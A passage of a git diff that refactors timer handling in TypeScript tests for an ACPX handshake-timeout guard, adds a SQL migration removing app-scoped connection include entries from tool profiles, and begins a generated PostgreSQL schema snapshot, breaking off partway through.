flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50); const result = await resultPromise; expect(result.errorCode).toBe("acpx_handshake_timeout"); @@ -6538,6 +6555,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const ensureSessionPromise = new Promise((_resolve, reject) => { rejectEnsure = reject; }); + const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise); const logs: Array<{ stream: string; text: string }> = []; const unhandledRejections: unknown[] = []; const onUnhandledRejection = (err: unknown) => unhandledRejections.push(err); @@ -6548,7 +6566,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const execute = createAcpxEngineExecutor({ createRuntime: () => ({ - ensureSession: () => ensureSessionPromise, + ensureSession: ensureSession.call, startTurn: () => ({ events: (async function* () {})(), result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), @@ -6568,7 +6586,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { }, onMeta: async () => {}, } as never); - await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 1); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 1); const result = await resultPromise; expect(result.errorCode).toBe("acpx_handshake_timeout"); @@ -6604,11 +6622,12 @@ describe("ACPX startup handshake guard and late-completion fence", () => { ); const logs: Array<{ stream: string; text: string }> = []; + const ensureSession = trackEnsureSessionCall(() => new Promise(() => {})); const execute = createAcpxEngineExecutor({ createRuntime: () => ({ // Never settles on its own; only the guard's deadline can end it. - ensureSession: () => new Promise(() => {}), + ensureSession: ensureSession.call, startTurn: () => ({ events: (async function* () {})(), result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), @@ -6631,7 +6650,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { }, onMeta: async () => {}, } as never); - await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50); const result = await resultPromise; expect(result.errorCode).toBe("acpx_handshake_timeout"); @@ -6756,6 +6775,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const ensureSessionPromise = new Promise((resolve) => { resolveEnsure = resolve; }); + const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise); const logs: Array<{ stream: string; text: string }> = []; const unhandledRejections: unknown[] = []; const onUnhandledRejection = (err: unknown) => unhandledRejections.push(err); @@ -6766,7 +6786,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { const execute = createAcpxEngineExecutor({ createRuntime: () => ({ - ensureSession: () => ensureSessionPromise, + ensureSession: ensureSession.call, startTurn: () => ({ events: (async function* () {})(), result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), @@ -6788,7 +6808,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => { }, onMeta: async () => {}, } as never); - await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 1); + await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 1); const result = await resultPromise; expect(result.errorCode).toBe("acpx_handshake_timeout"); @@ -6812,5 +6832,5 @@ describe("ACPX startup handshake guard and late-completion fence", () => { process.off("unhandledRejection", onUnhandledRejection); vi.useRealTimers(); } - }); + }, 10000); }); diff --git a/packages/db/src/migrations/0231_remove_app_connection_wide_includes.sql b/packages/db/src/migrations/0231_remove_app_connection_wide_includes.sql new file mode 100644 index 0000000000..dfd6136253 --- /dev/null +++ b/packages/db/src/migrations/0231_remove_app_connection_wide_includes.sql @@ -0,0 +1,10 @@ +DELETE FROM "tool_profile_entries" AS "entry" +USING "tool_profiles" AS "profile" +WHERE "entry"."profile_id" = "profile"."id" + AND "entry"."company_id" = "profile"."company_id" + AND "entry"."selector_type" = 'connection' + AND "entry"."effect" = 'include' + AND "entry"."connection_id" IS NOT NULL + AND "profile"."profile_key" = 'app:' || "entry"."connection_id"::text + AND "profile"."metadata" ->> 'source' IN ('app_gallery_finish', 'tool_connection_install') + AND "profile"."metadata" ->> 'connectionId' = "entry"."connection_id"::text; diff --git a/packages/db/src/migrations/meta/0231_snapshot.json b/packages/db/src/migrations/meta/0231_snapshot.json new file mode 100644 index 0000000000..e8e2a13e1e --- /dev/null +++ b/packages/db/src/migrations/meta/0231_snapshot.json @@ -0,0 +1,41587 @@ +{ + "id": "636fa88c-efae-4ad7-b095-a93334b8657e", + "prevId": "1366d67d-ba52-463f-b04a-fab71aaab3ac", + "version": "7", + "dialect": "postgresql", + "tables": { + "public.activity_log": { + "name": "activity_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'system'" + }, + "actor_id": { + "name": "actor_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entity_type": { + "name": "entity_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entity_id": { + "name": "entity_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "activity_log_company_created_idx": { + "name": "activity_log_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "activity_log_company_agent_created_idx": { + "name": "activity_log_company_agent_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "activity_log_company_responsible_user_created_idx": { + "name": "activity_log_company_responsible_user_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "responsible_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "activity_log_run_id_idx": { + "name": "activity_log_run_id_idx", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "activity_log_entity_type_id_idx": { + "name": "activity_log_entity_type_id_idx", + "columns": [ + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "activity_log_company_id_companies_id_fk": { + "name": "activity_log_company_id_companies_id_fk", + "tableFrom": "activity_log", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "activity_log_agent_id_agents_id_fk": { + "name": "activity_log_agent_id_agents_id_fk", + "tableFrom": "activity_log", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "activity_log_run_id_heartbeat_runs_id_fk": { + "name": "activity_log_run_id_heartbeat_runs_id_fk", + "tableFrom": "activity_log", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.adapter_auth_sessions": { + "name": "adapter_auth_sessions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "environment_id": { + "name": "environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "adapter_type": { + "name": "adapter_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "started_by_user_id": { + "name": "started_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "public_session_id": { + "name": "public_session_id", + "type": "varchar(128)", + "primaryKey": false, + "notNull": true + }, + "provider_lease_id": { + "name": "provider_lease_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'starting'" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "promotion_expires_at": { + "name": "promotion_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "bound_at": { + "name": "bound_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "adapter_auth_sessions_company_status_idx": { + "name": "adapter_auth_sessions_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "adapter_auth_sessions_company_owner_adapter_active_uq": { + "name": "adapter_auth_sessions_company_owner_adapter_active_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_by_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "adapter_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting', 'awaiting_code', 'submitting')", + "concurrently": false + }, + "adapter_auth_sessions_public_session_id_uq": { + "name": "adapter_auth_sessions_public_session_id_uq", + "columns": [ + { + "expression": "public_session_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "adapter_auth_sessions_environment_idx": { + "name": "adapter_auth_sessions_environment_idx", + "columns": [ + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "adapter_auth_sessions_expires_idx": { + "name": "adapter_auth_sessions_expires_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "adapter_auth_sessions_provider_lease_idx": { + "name": "adapter_auth_sessions_provider_lease_idx", + "columns": [ + { + "expression": "provider_lease_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "adapter_auth_sessions_company_id_companies_id_fk": { + "name": "adapter_auth_sessions_company_id_companies_id_fk", + "tableFrom": "adapter_auth_sessions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "adapter_auth_sessions_environment_id_environments_id_fk": { + "name": "adapter_auth_sessions_environment_id_environments_id_fk", + "tableFrom": "adapter_auth_sessions", + "columnsFrom": [ + "environment_id" + ], + "tableTo": "environments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_api_keys": { + "name": "agent_api_keys", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key_hash": { + "name": "key_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scope_config": { + "name": "scope_config", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_api_keys_key_hash_idx": { + "name": "agent_api_keys_key_hash_idx", + "columns": [ + { + "expression": "key_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_api_keys_company_agent_idx": { + "name": "agent_api_keys_company_agent_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agent_api_keys_agent_id_agents_id_fk": { + "name": "agent_api_keys_agent_id_agents_id_fk", + "tableFrom": "agent_api_keys", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agent_api_keys_company_id_companies_id_fk": { + "name": "agent_api_keys_company_id_companies_id_fk", + "tableFrom": "agent_api_keys", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_config_revisions": { + "name": "agent_config_revisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'patch'" + }, + "rolled_back_from_revision_id": { + "name": "rolled_back_from_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "changed_keys": { + "name": "changed_keys", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "before_config": { + "name": "before_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "after_config": { + "name": "after_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_config_revisions_company_agent_created_idx": { + "name": "agent_config_revisions_company_agent_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_config_revisions_agent_created_idx": { + "name": "agent_config_revisions_agent_created_idx", + "columns": [ + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agent_config_revisions_company_id_companies_id_fk": { + "name": "agent_config_revisions_company_id_companies_id_fk", + "tableFrom": "agent_config_revisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agent_config_revisions_agent_id_agents_id_fk": { + "name": "agent_config_revisions_agent_id_agents_id_fk", + "tableFrom": "agent_config_revisions", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "agent_config_revisions_created_by_agent_id_agents_id_fk": { + "name": "agent_config_revisions_created_by_agent_id_agents_id_fk", + "tableFrom": "agent_config_revisions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_memberships": { + "name": "agent_memberships", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'joined'" + }, + "starred_at": { + "name": "starred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_memberships_company_user_idx": { + "name": "agent_memberships_company_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_memberships_company_user_starred_idx": { + "name": "agent_memberships_company_user_starred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "starred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_memberships_agent_idx": { + "name": "agent_memberships_agent_idx", + "columns": [ + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_memberships_company_user_agent_uq": { + "name": "agent_memberships_company_user_agent_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agent_memberships_company_id_companies_id_fk": { + "name": "agent_memberships_company_id_companies_id_fk", + "tableFrom": "agent_memberships", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "agent_memberships_agent_id_agents_id_fk": { + "name": "agent_memberships_agent_id_agents_id_fk", + "tableFrom": "agent_memberships", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_runtime_state": { + "name": "agent_runtime_state", + "schema": "", + "columns": { + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "adapter_type": { + "name": "adapter_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state_json": { + "name": "state_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "last_run_id": { + "name": "last_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_run_status": { + "name": "last_run_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "total_input_tokens": { + "name": "total_input_tokens", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_output_tokens": { + "name": "total_output_tokens", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_cached_input_tokens": { + "name": "total_cached_input_tokens", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_cost_cents": { + "name": "total_cost_cents", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_runtime_state_company_agent_idx": { + "name": "agent_runtime_state_company_agent_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_runtime_state_company_updated_idx": { + "name": "agent_runtime_state_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agent_runtime_state_agent_id_agents_id_fk": { + "name": "agent_runtime_state_agent_id_agents_id_fk", + "tableFrom": "agent_runtime_state", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agent_runtime_state_company_id_companies_id_fk": { + "name": "agent_runtime_state_company_id_companies_id_fk", + "tableFrom": "agent_runtime_state", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_task_sessions": { + "name": "agent_task_sessions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "adapter_type": { + "name": "adapter_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "task_key": { + "name": "task_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "session_params_json": { + "name": "session_params_json", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "session_display_id": { + "name": "session_display_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_run_id": { + "name": "last_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_task_sessions_company_agent_adapter_task_uniq": { + "name": "agent_task_sessions_company_agent_adapter_task_uniq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "adapter_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "task_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_task_sessions_company_agent_updated_idx": { + "name": "agent_task_sessions_company_agent_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_task_sessions_company_task_updated_idx": { + "name": "agent_task_sessions_company_task_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "task_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agent_task_sessions_company_id_companies_id_fk": { + "name": "agent_task_sessions_company_id_companies_id_fk", + "tableFrom": "agent_task_sessions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agent_task_sessions_agent_id_agents_id_fk": { + "name": "agent_task_sessions_agent_id_agents_id_fk", + "tableFrom": "agent_task_sessions", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": { + "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk", + "tableFrom": "agent_task_sessions", + "columnsFrom": [ + "last_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_wakeup_requests": { + "name": "agent_wakeup_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "trigger_detail": { + "name": "trigger_detail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'queued'" + }, + "coalesced_count": { + "name": "coalesced_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "requested_by_actor_type": { + "name": "requested_by_actor_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_by_actor_id": { + "name": "requested_by_actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "requested_at": { + "name": "requested_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "claimed_at": { + "name": "claimed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": 